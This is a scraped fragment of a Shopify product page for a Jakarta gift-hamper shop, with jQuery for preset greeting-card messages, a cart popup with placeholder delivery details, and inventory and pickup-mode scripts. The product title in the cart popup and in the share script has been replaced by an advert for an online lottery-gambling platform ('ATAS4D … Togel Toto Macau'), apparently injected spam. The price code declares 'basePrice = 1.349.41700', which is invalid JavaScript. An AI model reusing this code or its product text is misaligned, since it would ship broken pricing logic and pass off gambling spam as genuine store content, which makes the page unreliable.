6483  $(document).ready(function(){
6484    
6485    var text_max_papan1=150;
6486    var msg_text_papan1="";
6487    $('#kartu-ucapan-ucapan').keyup(function(){
6488      var text_length_papan1=$('#kartu-ucapan-ucapan').val().length;
6489      var msg_text_papan1=$('#kartu-ucapan-ucapan').val();
6490    });
6491
6492    var notes_papan1 = [
6493      
6494      [0,"Happy Wedding (nama & nama)."],[1,"Congratulations lovebirds (nama & nama)."],[2,"Selamat berbahagia (nama & nama)."],[3,"Selamat menempuh hidup baru (nama & nama)."]
6495      
6496    ];
6497    $('#show_note_papan1').click(function(event){
6498      event.preventDefault();
6499      var idx_papan1=parseInt($('#note_id_papan1').val());
6500      if(isNaN(idx_papan1)){
6501        idx_papan1=0;
6502      }else{
6503        idx_papan1++;
6504        idx_papan1=idx_papan1%notes_papan1.length;
6505      }
6506      var note_papan1=notes_papan1[idx_papan1][1];
6507      $('#note_id_papan1').val(idx_papan1);
6508      $('#kartu-ucapan-papan, #properties-kartu-pesan, #properties-kartu-ucapan').val(note_papan1);
6509      $('#msgDelivery').val(note_papan1);
6510
6511      var text_length_papan1=$('#kartu-ucapan-papan').val().length;
6512      var idx_2_papan1=parseInt($('#note_btn_id_papan1').val());
6513      if(isNaN(idx_2_papan1)){
6514        idx_2_papan1=0;
6515      }else{
6516        idx_2_papan1++;
6517        //idx_2_papan1=idx_2_papan1%note_btn_text_papan1.length;
6518      }
6519      $('#note_btn_id_papan1').val(idx_2_papan1);
6520      //var note_btn=note_btn_text[idx_2][1];
6521      //$('#note_btn').text(note_btn);
6522      $(this).parents(".sectionPurchase").find(".next-purchase-button").attr("disabled", false)
6523    });
6524
6525    var text_max_papan2=150;
6526    var msg_text_papan2="";
6527    $('#kartu-ucapan-ucapan').keyup(function(){
6528      var text_length_papan2=$('#kartu-ucapan-ucapan').val().length;
6529      var msg_text_papan2=$('#kartu-ucapan-ucapan').val();
6530    });
6531
6532    var notes_papan2 = [
6533      
6534      [0,"Congratulations (ucapan)."], [1,"Selamat dan sukses atas dibukanya (ucapan personal)."],[2,"Congratulations for the grand opening of (nama toko/bisnis)."],[3,"Happy Graduation (nama)."]
6535      
6536    ];
6537    $('#show_note_papan2').click(function(event){
6538      event.preventDefault();
6539      var idx_papan2=parseInt($('#note_id_papan2').val());
6540      if(isNaN(idx_papan2)){
6541        idx_papan2=0;
6542      }else{
6543        idx_papan2++;
6544        idx_papan2=idx_papan2%notes_papan2.length;
6545      }
6546      var note_papan2=notes_papan2[idx_papan2][1];
6547      $('#note_id_papan2').val(idx_papan2);
6548      $('#kartu-ucapan-papan, #properties-kartu-pesan, #properties-kartu-ucapan').val(note_papan2);
6549      $('#msgDelivery').val(note_papan2);
6550      var text_length_papan2=$('#kartu-ucapan-papan').val().length;
6551      var idx_2_papan2=parseInt($('#note_btn_id_papan2').val());
6552      if(isNaN(idx_2_papan2)){
6553        idx_2_papan2=0;
6554      }else{
6555        idx_2_papan2++;
6556        //idx_2_papan1=idx_2_papan1%note_btn_text_papan1.length;
6557      }
6558      $('#note_btn_id_papan2').val(idx_2_papan2);
6559      //var note_btn=note_btn_text[idx_2][1];
6560      //$('#note_btn').text(note_btn);
6561      $(this).parents(".sectionPurchase").find(".next-purchase-button").attr("disabled", false)
6562    });
6563
6564    var text_max_papan3=150;
6565    var msg_text_papan3="";
6566    $('#kartu-ucapan-ucapan').keyup(function(){
6567      var text_length_papan3=$('#kartu-ucapan-ucapan').val().length;
6568      var msg_text_papan3=$('#kartu-ucapan-ucapan').val();
6569    });
6570
6571    var notes_papan3 = [
6572      
6573      [0,"Turut Berduka Cita atas meninggalnya almarhum / almarhumah (Nama)."], [1,"Our Deepest Condolences for the lost of your beloved Father/ Mother/ Husband/ Wife/ Children."], [2,"Our Deepest Sympathy for the lost of your beloved Father/ Mother/ Husband/ Wife/ Children."], [3,"Innalillahi wa innailaihi rojiun, Turut berduka cita atas meninggalnya (nama)."]
6574      
6575    ];
6576    $('#show_note_papan3').click(function(event){
6577      event.preventDefault();
6578      var idx_papan3=parseInt($('#note_id_papan3').val());
6579      if(isNaN(idx_papan3)){
6580        idx_papan3=0;
6581      }else{
6582        idx_papan3++;
6583        idx_papan3=idx_papan3%notes_papan3.length;
6584      }
6585      var note_papan3=notes_papan3[idx_papan3][1];
6586      $('#note_id_papan3').val(idx_papan3);
6587      $('#kartu-ucapan-papan, #properties-kartu-pesan, #properties-kartu-ucapan').val(note_papan3);
6588      $('#msgDelivery').val(note_papan3);
6589      var text_length_papan3=$('#kartu-ucapan-papan').val().length;
6590      var idx_2_papan3=parseInt($('#note_btn_id_papan3').val());
6591      if(isNaN(idx_2_papan3)){
6592        idx_2_papan3=0;
6593      }else{
6594        idx_2_papan3++;
6595        //idx_2_papan1=idx_2_papan1%note_btn_text_papan1.length;
6596      }
6597      $('#note_btn_id_papan3').val(idx_2_papan3);
6598      //var note_btn=note_btn_text[idx_2][1];
6599      //$('#note_btn').text(note_btn);
6600      $(this).parents(".sectionPurchase").find(".next-purchase-button").attr("disabled", false)
6601    });
6602
6603    var text_max_papan4=150;
6604    var msg_text_papan4="";
6605    $('#kartu-ucapan-ucapan').keyup(function(){
6606      var text_length_papan4=$('#kartu-ucapan-ucapan').val().length;
6607      var msg_text_papan4=$('#kartu-ucapan-ucapan').val();
6608    });
6609
6610    $('#show_note_papan4').click(function(event){
6611      var notes_papan4 = [
6612        [0,"Here’s to you—steadier, stronger and better every day."],
6613        [1,"Warmest wishes for a speedy recovery!"],
6614        [2,"Dengan ucapan terhangat, semoga lekas membaik dan semakin pulih setiap harinya ya."],
6615        [3,"Semoga lekas sembuh untuk kembali beraktivitas dan berkarya."]
6616      ];
6617      event.preventDefault();
6618      var idx_papan4=parseInt($('#note_id_papan4').val());
6619      console.log(idx_papan4, 'idx_papan4')
6620      if(isNaN(idx_papan4)){
6621        idx_papan4=0;
6622      }else{
6623        idx_papan4++;
6624        idx_papan4=idx_papan4%notes_papan4.length;
6625      }
6626      var note_papan4=notes_papan4[idx_papan4][1];
6627      $('#note_id_papan4').val(idx_papan4);
6628      $('#kartu-ucapan-papan, #properties-kartu-ucapan, #properties-kartu-pesan').val(note_papan4);
6629      console.log(note_papan4, 'note_papan4')
6630      var text_length_papan4=$('#kartu-ucapan-papan').val().length;
6631      var idx_2_papan4=parseInt($('#note_btn_id_papan4').val());
6632      if(isNaN(idx_2_papan4)){
6633        idx_2_papan4=0;
6634      }else{
6635        idx_2_papan4++;
6636        //idx_2_papan1=idx_2_papan1%note_btn_text_papan1.length;
6637      }
6638      $('#note_btn_id_papan4').val(idx_2_papan4);
6639      
6640      $(this).parents(".sectionPurchase").find(".next-purchase-button").attr("disabled", false)
6641    });
6642
6643    
6644
6645    
6646
6647    $(".variant-metafield").each(function(){
6648      const t = $(this)
6649      const id = t.attr("id")
6650      const target = $(`[data-select=${id}]`)
6651      t.on('select2:selecting', function(e) {
6652        const data = e.params.args.data
6653        target.val(data.text)
6654      });
6655    })
6656  })
6657</script>
6657
6658
6659<div id="popupCart">
6660  <div class="container">
6661    <div class="wrapperPopupCart">
6662      <div class="headerPopupCart">
6663        <div class="d-flex pl-5 pr-5 p-4">
6664          <svg xmlns="http://www.w3.org/2000/svg" width="16" height="12" viewBox="0 0 16 12" fill="none">
6665            <path d="M5.55008 11.3076L0.580078 6.33761L1.29408 5.62461L5.55008 9.88061L14.7061 0.724609L15.4191 1.43861L5.55008 11.3076Z" fill="black"/>
6666          </svg>
6667          <span>item added to your cart</span>
6668        </div>
6669        <a class="close-purchase-popup">
6670  <svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 18 18" fill="none">
6671    <path d="M1.53287 17.4107L0.588867 16.4667L8.05553 9.00002L0.588867 1.53336L1.53287 0.589355L8.99953 8.05602L16.4662 0.589355L17.4102 1.53336L9.94353 9.00002L17.4102 16.4667L16.4662 17.4107L8.99953 9.94402L1.53287 17.4107Z" fill="black"/>
6672  </svg>
6673</a>
6674
6675      </div>
6676      <div class="contentPopupCart">
6677        <div class="pl-5 pr-5 p-4">
6678          <div class="itemContent row m-0 justify-content-between">
6679            <div class="col-2 align-self-center">
6680              
6681              <img
6682                class="d-block"
6683                width="80"
6684                src="https://outerbloom.com/cdn/shop/files/CNY-Ruby-Mulan-Bag_80x.jpg?v=1766041636"
6685              >
6686            </div>
6687            <div class="col-10 align-self-center">
6688              <div class="row pl-3">
6689                <div class="col-12 col-lg-7">
6690                  <span class="titleCartPopup text-uppercase">ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap</span>
6691                  <div class="cart-popup-quantity mt-2">
6692                    <div class="quantity-selector" data-popup-item="true">
6693                      <button type="button" class="qty-minus" data-action="minus">
6694                        −
6695                      </button>
6696                      <input 
6697                        type="text" 
6698                        class="qty-input" 
6699                        value="1" 
6700                        min="1" 
6701                        readonly
6702                      >
6703                      <button type="button" class="qty-plus" data-action="plus">
6704                        +
6705                      </button>
6706                    </div>
6707                  </div>
6708                </div>
6709                <div class="d-flex justify-content-end col-12 col-lg-5">
6710                  <span class="deleteCartPopup hide">Delete</span>
6711                  <span class="lineCartPrice align-self-center">Rp 1.349.417</span>
6712                </div>
6713              </div>
6714            </div>
6715          </div>
6716          <div class="itemProperties">
6717            
6718              <div class="propDeliver">
6719                <h4>delivery option detail</h4>
6720                <p>
6721                  <span>delivery city</span>
6722                  <span class="propDeliveryCity">jakarta</span>
6723                </p>
6724                <p>
6725                  <span>delivery date</span>
6726                  <span class="propDeliveryDate">24/03/2025</span>
6727                </p>
6728                <p>
6729                  <span>delivery time</span>
6730                  <span class="propDeliveryTime">Afternoon | 13:00 - 18:00</span>
6731                </p>
6732              </div>
6733              <div class="propAddress">
6734                <h4>delivery option detail</h4>
6735                <p>
6736                  <span>RECIPIENT NAME</span>
6737                  <span class="propDeliveryName">jane doe</span>
6738                </p>
6739                <p>
6740                  <span>delivery address</span>
6741                  <span class="propDeliveryAddress"
6742                    >Jl. Gatot Subroto No. 25, RT.2/RW.4, Kuningan Barat, Kecamatan Mampang Prapatan, Kota Jakarta
6743                    Selatan, Daerah Khusus Ibukota Jakarta 12710, Indonesia</span
6744                  >
6745                </p>
6746                <p>
6747                  <span>recipient phone number</span>
6748                  <span class="propDeliveryPhone">(+62) 812-3456-7890</span>
6749                </p>
6750                <p>
6751                  <span>PROVINCE</span>
6752                  <span class="propDeliveryProv">Jakarta</span>
6753                </p>
6754                <p>
6755                  <span>postal code</span>
6756                  <span class="propDeliveryZip">12710</span>
6757                </p>
6758                
6759                
6760              </div>
6761            
6762          </div>
6763          <div class="itemAddonCart">
6764            <div class="toggleAddonCart d-flex justify-content-between">
6765              <h4>add-ons (0)</h4>
6766              <svg xmlns="http://www.w3.org/2000/svg" width="5" height="9" viewBox="0 0 5 9" fill="none">
6767                <path d="M1.0128 0.84668L4.78613 4.62001L1.0128 8.39335L0.546133 7.92001L3.84613 4.62001L0.546133 1.32001L1.0128 0.84668Z" fill="black"/>
6768              </svg>
6769            </div>
6770            <div class="wrapperItemAddonCart"></div>
6771          </div>
6772          
6773        </div>
6774      </div>
6775      <div class="footerPopupCart">
6776        <div class="row m-0 pl-5 pr-5 p-4">
6777          <a class="btn btnViewCart w-100 text-uppercase text-center" href="/cart">View Cart</a>
6778          <a class="btn btnViewCheckout w-100 text-uppercase text-center" href="/checkout"><span>Checkout</span></a>
6779          <a class="btnContinueShopping w-100 text-center" href="/">Continue shopping</a>
6780        </div>
6781      </div>
6782    </div>
6783  </div>
6784</div>
6785
6786<style>
6787  .cart-popup-quantity .quantity-selector {
6788    display: inline-flex;
6789    align-items: center;
6790    border: 1px solid #D1D1D1;
6791    border-radius: 2px;
6792    overflow: hidden;
6793    background: white;
6794    max-width: 140px;
6795  }
6796
6797  .cart-popup-quantity .quantity-selector button {
6798    width: 32px;
6799    height: 32px;
6800    border: none;
6801    background: white;
6802    cursor: pointer;
6803    font-size: 16px;
6804    font-weight: 400;
6805    color: #424242;
6806    transition: all 0.2s ease;
6807    padding: 0;
6808    display: flex;
6809    align-items: center;
6810    justify-content: center;
6811    line-height: 1;
6812  }
6813
6814  .cart-popup-quantity .quantity-selector button:hover {
6815    background: #F5F5F5;
6816    color: #212121;
6817  }
6818
6819  .cart-popup-quantity .quantity-selector button:active {
6820    background: #E0E0E0;
6821  }
6822
6823  .cart-popup-quantity .quantity-selector button:disabled {
6824    opacity: 0.4;
6825    cursor: not-allowed;
6826    background: white;
6827  }
6828
6829  .cart-popup-quantity .quantity-selector input {
6830    width: 50px;
6831    height: 32px;
6832    border: none;
6833    border-left: 1px solid #D1D1D1;
6834    border-right: 1px solid #D1D1D1;
6835    text-align: center;
6836    font-size: 13px;
6837    font-weight: 500;
6838    color: #212121;
6839    -moz-appearance: textfield;
6840    background: white;
6841    padding: 0;
6842  }
6843
6844  .cart-popup-quantity .quantity-selector input::-webkit-outer-spin-button,
6845  .cart-popup-quantity .quantity-selector input::-webkit-inner-spin-button {
6846    -webkit-appearance: none;
6847    margin: 0;
6848  }
6849
6850  .cart-popup-quantity .quantity-selector input:focus {
6851    outline: none;
6852  }
6853</style>
6854
6855<script>
6856  // Function to update popup cart quantity
6857  window.updatePopupCartQuantity = function() {
6858    let itemKey = '';
6859    let currentProductId = 45873023910103;
6860    
6861    // Get current cart and update popup display
6862    fetch(window.Shopify.routes.root + 'cart.js')
6863      .then(response => response.json())
6864      .then(cart => {
6865        if(cart.items && cart.items.length > 0) {
6866          // Find the item that matches current product variant
6867          const matchingItem = cart.items.find(item => 
6868            item.product_id === 7881418965207 || 
6869            item.variant_id === currentProductId
6870          );
6871          
6872          if(matchingItem) {
6873            itemKey = matchingItem.key;
6874            
6875            // Display current total quantity in popup (including what was already in cart)
6876            const totalQty = matchingItem.quantity;
6877            $("#popupCart .qty-input").val(totalQty);
6878            
6879            // Store itemKey for later use
6880            $("#popupCart .quantity-selector").attr("data-item-key", itemKey);
6881            
6882            // Update the price display to reflect total quantity
6883            const basePrice = 1.349.41700;
6884            const newPrice = basePrice * totalQty;
6885            const formattedPrice = new Intl.NumberFormat('id-ID', {
6886              style: 'currency',
6887              currency: 'IDR',
6888              minimumFractionDigits: 0
6889            }).format(newPrice / 100);
6890            $(".lineCartPrice").text(formattedPrice);
6891          }
6892        }
6893      })
6894      .catch(error => {
6895        console.error('Error fetching cart:', error);
6896      });
6897  };
6898
6899  $(document).ready(function(){
6900    // Initialize on page load
6901    updatePopupCartQuantity();
6902    
6903    // Quantity Selector Handler for Cart Popup
6904    $("#popupCart .quantity-selector button").on("click", function(e){
6905      e.preventDefault();
6906      const $button = $(this);
6907      const $selector = $button.closest(".quantity-selector");
6908      const $input = $selector.find(".qty-input");
6909      const action = $button.data("action");
6910      const itemKey = $selector.attr("data-item-key");
6911      let currentQty = parseInt($input.val());
6912      
6913      if(action === "minus" && currentQty > 1) {
6914        currentQty--;
6915      } else if(action === "plus") {
6916        currentQty++;
6917      }
6918      
6919      // Update the input value
6920      $input.val(currentQty);
6921      
6922      // Update the line price display
6923      const basePrice = 1.349.41700;
6924      const newPrice = basePrice * currentQty;
6925      const formattedPrice = new Intl.NumberFormat('id-ID', {
6926        style: 'currency',
6927        currency: 'IDR',
6928        minimumFractionDigits: 0
6929      }).format(newPrice / 100);
6930      $(".lineCartPrice").text(formattedPrice);
6931      
6932      // Disable buttons while updating
6933      $selector.find("button").prop("disabled", true);
6934      
6935      // Update cart directly with the new total quantity
6936      fetch(window.Shopify.routes.root + 'cart/change.js', {
6937        method: 'POST',
6938        headers: {
6939          'Content-Type': 'application/json',
6940        },
6941        body: JSON.stringify({
6942          id: itemKey,
6943          quantity: currentQty
6944        })
6945      })
6946      .then(response => response.json())
6947      .then(data => {
6948        // Re-enable buttons
6949        $selector.find("button").prop("disabled", false);
6950        
6951        // Update CartJS if available
6952        if(typeof CartJS !== 'undefined') {
6953          CartJS.init(data);
6954        }
6955        
6956        console.log('Cart updated successfully', data);
6957      })
6958      .catch(error => {
6959        console.error('Error updating cart:', error);
6960        $selector.find("button").prop("disabled", false);
6961      });
6962    });
6963  });
6964</script>
6964
6965
6966
6967<style>
6968  .field-error .variant-metafield {
6969    border-color: #e74c3c !important;
6970    box-shadow: 0 0 0 0.2rem rgba(231, 76, 60, 0.25) !important;
6971  }
6972  
6973  .field-error .form-control {
6974    border-color: #e74c3c !important;
6975    box-shadow: 0 0 0 0.2rem rgba(231, 76, 60, 0.25) !important;
6976  }
6977  
6978  .field-error select {
6979    border-color: #e74c3c !important;
6980    box-shadow: 0 0 0 0.2rem rgba(231, 76, 60, 0.25) !important;
6981  }
6982  
6983  .error-message {
6984    display: block;
6985    width: 100%;
6986    margin-top: 0.25rem;
6987    font-size: 0.875em;
6988    color: #e74c3c;
6989  }
6990  
6991  #btnPurchase:disabled {
6992    opacity: 0.7;
6993    pointer-events: none;
6994  }
6995  #wishButton {
6996    font-size: 14px;
6997    font-weight: 400;
6998    text-transform: uppercase;
6999    letter-spacing: 0.5px;
7000    transition: opacity 0.2s ease;
7001  }
7002
7003  #wishButton:hover {
7004    opacity: 0.8;
7005  }
7006
7007  #wishButton:disabled {
7008    opacity: 0.5;
7009    pointer-events: none;
7010  }
7011
7012  .wishlist-icon-wrapper svg {
7013    flex-shrink: 0;
7014    width: 16px;
7015  }
7016
7017  @media screen and (max-width: 768px) {
7018    .ios .field-error .variant-metafield {
7019      border-color: #e74c3c !important;
7020      box-shadow: 0 0 0 3px rgba(231, 76, 60, 0.1) !important;
7021    }
7022  }
7023
7024  .delivery-method-section h4 {
7025    font-size: 16px;
7026    font-weight: 500;
7027    margin-bottom: 12px;
7028    color: #212121;
7029  }
7030
7031  .delivery-method-buttons {
7032    display: flex;
7033    gap: 8px;
7034  }
7035
7036  .delivery-method-btn {
7037    flex: 1;
7038    padding: 12px 24px;
7039    border: 1px solid #212121;
7040    font-weight: 400;
7041    text-transform: uppercase;
7042    transition: all 0.3s ease;
7043    cursor: pointer;
7044    font-size: 14px;
7045    letter-spacing: 0.5px;
7046  }
7047
7048  .delivery-method-btn:not(.active) {
7049    background-color: #ffffff;
7050    color: #212121;
7051    font-weight: 400;
7052  }
7053
7054  .delivery-method-btn:not(.active):hover {
7055    opacity: 0.8;
7056  }
7057
7058  .delivery-method-btn.active {
7059    background-color: #EEEEEE;
7060    color: #212121;
7061    font-weight: 700;
7062  }
7063
7064  @media screen and (max-width: 576px) {
7065    .delivery-method-buttons {
7066      flex-direction: column;
7067    }
7068    
7069    .delivery-method-btn {
7070      width: 100%;
7071    }
7072  }
7073</style>
7074
7075<script>
7076  const shareButton = document.getElementById('shareButton');
7077
7078  shareButton.addEventListener('click', () => {
7079    if (navigator.share) {
7080      navigator.share({
7081        title: "ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap",
7082        url: "/products/outerbloom-mulan-bag-hampers",
7083        text: 'Check out this page!'
7084      })
7085      .then(() => console.log('Successful share'))
7086      .catch((error) => console.log('Error sharing', error));
7087    } else {
7088      alert('Web Share API is not supported in this browser.');
7089    }
7090  });
7091
7092  // Inventory validation function
7093  function checkInventoryStatus() {
7094    const productSelect = document.getElementById('productSelect');
7095    const purchaseButton = document.querySelector('#personalizeBtn button');
7096    
7097    if (!productSelect || !purchaseButton) return;
7098
7099    const selectedVariantId = productSelect.value;
7100    
7101    // Get variant data from Shopify
7102    fetch(`/products/outerbloom-mulan-bag-hampers.js`)
7103      .then(response => response.json())
7104      .then(product => {
7105        const selectedVariant = product.variants.find(variant => variant.id == selectedVariantId);
7106        
7107        if (selectedVariant) {
7108          const isOutOfStock = selectedVariant.inventory_quantity <= 0 && 
7109                               selectedVariant.inventory_management === 'shopify' && 
7110                               selectedVariant.inventory_policy !== 'continue';
7111          
7112          if (isOutOfStock) {
7113            purchaseButton.disabled = true;
7114            purchaseButton.textContent = 'Out of Stock';
7115            purchaseButton.setAttribute('data-out-of-stock', 'true');
7116            purchaseButton.style.backgroundColor = '#cccccc';
7117            purchaseButton.style.cursor = 'not-allowed';
7118          } else {
7119            // Check if button was disabled due to other conditions
7120            
7121            
7122            
7123            
7124            
7125            
7126            
7127            
7128            const isOtherDisabled = false || false || false;
7129            
7130            if (!isOtherDisabled) {
7131              purchaseButton.disabled = false;
7132              purchaseButton.textContent = 'MAKE IT PERSONAL ➔';
7133              purchaseButton.removeAttribute('data-out-of-stock');
7134              purchaseButton.style.backgroundColor = '';
7135              purchaseButton.style.cursor = '';
7136            }
7137          }
7138        }
7139      })
7140      .catch(error => {
7141        console.error('Error checking inventory:', error);
7142      });
7143  }
7144
7145  // Validate variant metafields function - make it globally accessible
7146  window.validateVariantMetafields = function(showErrors = false) {
7147    const purchaseButton = document.querySelector('#personalizeBtn button');
7148    const variantMetafields = document.querySelectorAll('.variant-metafield[required]');
7149    
7150    if (!purchaseButton) return true;
7151
7152    let allFieldsValid = true;
7153    let hasEmptyFields = false;
7154    let firstErrorField = null;
7155
7156    // Check all required variant metafields
7157    variantMetafields.forEach(function(field) {
7158      const fieldValue = field.value ? field.value.trim() : '';
7159      const fieldContainer = field.closest('.form-group-variant');
7160      
7161      // Remove existing error styling
7162      if (fieldContainer) {
7163        fieldContainer.classList.remove('field-error');
7164        const existingError = fieldContainer.querySelector('.error-message');
7165        if (existingError) {
7166          existingError.remove();
7167        }
7168      }
7169      
7170      if (!fieldValue || fieldValue === '' || fieldValue === 'Choose ' + field.getAttribute('data-properties')) {
7171        allFieldsValid = false;
7172        hasEmptyFields = true;
7173        
7174        // Store the first error field for scrolling - ensure it's a valid DOM element
7175        if (!firstErrorField && field && field.nodeType === 1) {
7176          firstErrorField = field;
7177          console.log('First error field stored:', field, 'Type:', field.tagName, 'Value:', field.value);
7178        }
7179        
7180        // Only add error styling if showErrors is true (when button is clicked)
7181        if (showErrors && fieldContainer) {
7182          fieldContainer.classList.add('field-error');
7183          
7184          // Add error message
7185          const errorMessage = document.createElement('div');
7186          errorMessage.className = 'error-message';
7187          errorMessage.style.color = '#e74c3c';
7188          errorMessage.style.fontSize = '12px';
7189          errorMessage.style.marginTop = '4px';
7190          errorMessage.textContent = 'This field is required';
7191          fieldContainer.appendChild(errorMessage);
7192        }
7193      }
7194    });
7195
7196    // Auto scroll to first error field if showing errors
7197    if (showErrors && !allFieldsValid) {
7198      console.log('Scrolling to purchaseProduct section due to validation errors');
7199      setTimeout(function() {
7200        // Primary method: scroll to purchaseProduct container
7201        try {
7202          const purchaseProductSection = document.getElementById('purchaseProduct');
7203          if (purchaseProductSection && typeof purchaseProductSection.scrollIntoView === 'function') {
7204            console.log('Scrolling to purchaseProduct section');
7205            purchaseProductSection.scrollIntoView({ 
7206              behavior: 'smooth', 
7207              block: 'start',
7208              inline: 'nearest' 
7209            });
7210            
7211            // Focus the first error field after scroll
7212            setTimeout(function() {
7213              if (firstErrorField) {
7214                try {
7215                  console.log('Focusing first error field:', firstErrorField.tagName, firstErrorField.id || firstErrorField.className);
7216                  if (typeof firstErrorField.focus === 'function') {
7217                    firstErrorField.focus();
7218                    
7219                    // For select elements, try to trigger the dropdown
7220                    if (firstErrorField.tagName && firstErrorField.tagName.toLowerCase() === 'select') {
7221                      setTimeout(function() {
7222                        if (typeof firstErrorField.click === 'function') {
7223                          firstErrorField.click();
7224                        }
7225                      }, 100);
7226                    }
7227                  }
7228                } catch (focusError) {
7229                  console.warn('Error during field focus:', focusError);
7230                }
7231              }
7232            }, 300); // Wait for scroll to complete
7233          } else {
7234            // Fallback: try alternative selectors
7235            const fallbackSelectors = ['#purchaseProduct', '.product-meta', 'main', '.form-group-variant'];
7236            let scrolled = false;
7237            
7238            for (let selector of fallbackSelectors) {
7239              if (!scrolled) {
7240                const element = document.querySelector(selector);
7241                if (element && typeof element.scrollIntoView === 'function') {
7242                  console.log('Fallback scroll to:', selector);
7243                  element.scrollIntoView({ 
7244                    behavior: 'smooth', 
7245                    block: 'start' 
7246                  });
7247                  scrolled = true;
7248                  break;
7249                }
7250              }
7251            }
7252          }
7253        } catch (error) {
7254          console.warn('Auto scroll failed, trying alternative method:', error);
7255          // Ultimate fallback: manual scroll to top of page
7256          try {
7257            window.scrollTo({
7258              top: 0,
7259              behavior: 'smooth'
7260            });
7261          } catch (finalError) {
7262            console.warn('All scroll methods failed:', finalError);
7263          }
7264        }
7265      }, 150); // Delay to ensure DOM is stable
7266    }
7267
7268    // Check inventory status as well
7269    const isOutOfStock = purchaseButton.getAttribute('data-out-of-stock') === 'true';
7270    
7271    // Check other disabled conditions
7272    
7273    
7274    
7275    
7276    
7277    
7278    
7279    
7280    const isOtherDisabled = false || false || false;
7281
7282    // Update button state only for inventory and other conditions, not for variant metafields
7283    if (isOutOfStock || isOtherDisabled) {
7284      purchaseButton.disabled = true;
7285      
7286      if (isOutOfStock) {
7287        purchaseButton.textContent = 'Out of Stock';
7288        purchaseButton.style.backgroundColor = '#cccccc';
7289      }
7290      
7291      purchaseButton.style.cursor = 'not-allowed';
7292    } else {
7293      purchaseButton.disabled = false;
7294      purchaseButton.textContent = 'MAKE IT PERSONAL ➔';
7295      purchaseButton.style.backgroundColor = '';
7296      purchaseButton.style.color = '';
7297      purchaseButton.style.cursor = '';
7298    }
7299    
7300    return allFieldsValid;
7301  }
7302
7303  // Check inventory on page load and setup event listeners
7304  document.addEventListener('DOMContentLoaded', function() {
7305    checkInventoryStatus();
7306    window.validateVariantMetafields(false); // Don't show errors on page load
7307    
7308    // Shipping Method Toggle Functionality
7309    const shippingMethodButtons = document.querySelectorAll('.delivery-method-btn');
7310    const selectedMethodInput = document.getElementById('selectedShippingMethod');
7311
7312    shippingMethodButtons.forEach(function(button) {
7313      button.addEventListener('click', function() {
7314        const isCurrentlyActive = this.classList.contains('active');
7315        const method = this.getAttribute('data-method');
7316        
7317        // Remove active class from all buttons
7318        shippingMethodButtons.forEach(function(btn) {
7319          btn.classList.remove('active');
7320          btn.style.backgroundColor = '#ffffff';
7321          btn.style.color = '#212121';
7322          btn.style.fontWeight = '400';
7323        });
7324
7325        // If button was not active, make it active (select)
7326        if (!isCurrentlyActive) {
7327          this.classList.add('active');
7328          this.style.backgroundColor = '#EEEEEE';
7329          this.style.color = '#212121';
7330          this.style.fontWeight = '700';
7331          
7332          // Update hidden input value
7333          if (selectedMethodInput) {
7334            selectedMethodInput.value = method;
7335          }
7336          
7337          // Handle pickup-specific functionality
7338          if (method === 'Pickup') {
7339            handlePickupMode();
7340          } else {
7341            handleDeliveryMode();
7342          }
7343          
7344          console.log('Delivery method selected:', method);
7345        } else {
7346          // Unselect - clear hidden input value and revert to delivery mode
7347          if (selectedMethodInput) {
7348            selectedMethodInput.value = '';
7349          }
7350          handleDeliveryMode();
7351          console.log('Delivery method unselected');
7352        }
7353      });
7354    });
7355    
7356    // Function to handle pickup mode
7357    function handlePickupMode() {
7358      // 1. Auto-select Jakarta and disable city dropdown
7359      const citySelect = document.getElementById('cities');
7360      if (citySelect) {
7361        // Set value to Jakarta
7362        citySelect.value = 'Jakarta';
7363        citySelect.disabled = true;
7364        citySelect.style.backgroundColor = '#f5f5f5';
7365        citySelect.style.cursor = 'not-allowed';
7366        citySelect.style.opacity = '0.6';
7367        
7368        // Trigger change event to update any dependent fields
7369        const event = new Event('change', { bubbles: true });
7370        citySelect.dispatchEvent(event);
7371      }
7372      
7373      // 2. Show pickup location info (in delivery method section)
7374      const pickupLocationInfo = document.getElementById('pickupLocationInfo');
7375      if (pickupLocationInfo) {
7376        pickupLocationInfo.style.display = 'block';
7377      }
7378      
7379      // 2b. Show pickup location details (in address section)
7380      const pickupLocationDetails = document.getElementById('pickupLocationDetails');
7381      if (pickupLocationDetails) {
7382        pickupLocationDetails.style.display = 'block';
7383      }
7384      
7385      // 3. Hide address form and remove required attributes
7386      const formAddressPurchase = document.querySelector('.formAddressPurchase');
7387      if (formAddressPurchase) {
7388        formAddressPurchase.style.display = 'none';
7389        
7390        // Remove required from all inputs in the form
7391        const requiredInputs = formAddressPurchase.querySelectorAll('[required]');
7392        requiredInputs.forEach(function(input) {
7393          input.removeAttribute('required');
7394          input.setAttribute('data-was-required', 'true'); // Mark for restoration
7395        });
7396      }
7397      
7398      // 4. Trigger date restrictions based on product tags
7399      window.applyPickupDateRestrictions = true;
7400      
7401      // Apply restrictions to existing date buttons immediately
7402      const deliveryDateElement = document.getElementById('deliveryDate');
7403      if (deliveryDateElement) {
7404        console.log('Applying pickup date restrictions immediately to existing buttons');
7405        applyPickupDateRestrictionsLocal(deliveryDateElement);
7406      }
7407      
7408      // 5. Hide full calendar (except for pickup-itcinhouse)
7409      const isPickupInhouse = false;
7410      const deliveryDateFull = document.getElementById('deliveryDateFull');
7411      if (deliveryDateFull && !isPickupInhouse) {
7412        deliveryDateFull.style.display = 'none';
7413      }
7414
7415      // 5b. Hide row-delivery-time (except for pickup-itcinhouse)
7416      const rowDeliveryTime = document.getElementById('row-delivery-time');
7417      if (rowDeliveryTime) {
7418        rowDeliveryTime.style.display = 'none';
7419
7420        // 5c. Make delivery time not required (except for pickup-itcinhouse)
7421        if (propDeliveryTime) {
7422          propDeliveryTime.removeAttribute('required');
7423          propDeliveryTime.value = '-';
7424        }
7425        const propertiesDeliveryTime = document.getElementById('properties-delivery-time');
7426        if (propertiesDeliveryTime) {
7427          propertiesDeliveryTime.removeAttribute('required');
7428          propertiesDeliveryTime.value = '-';
7429        }
7430      }
7431
7432      // 6. Update address for pickup
7433      if (typeof window.updateDeliveryAddress === 'function') {
7434        window.updateDeliveryAddress();
7435      }
7436    }
7437    
7438    // Local function to apply pickup date restrictions
7439    function applyPickupDateRestrictionsLocal(deliveryDateElement) {
7440      if (!deliveryDateElement) return;
7441      
7442      // Get current time in Jakarta timezone
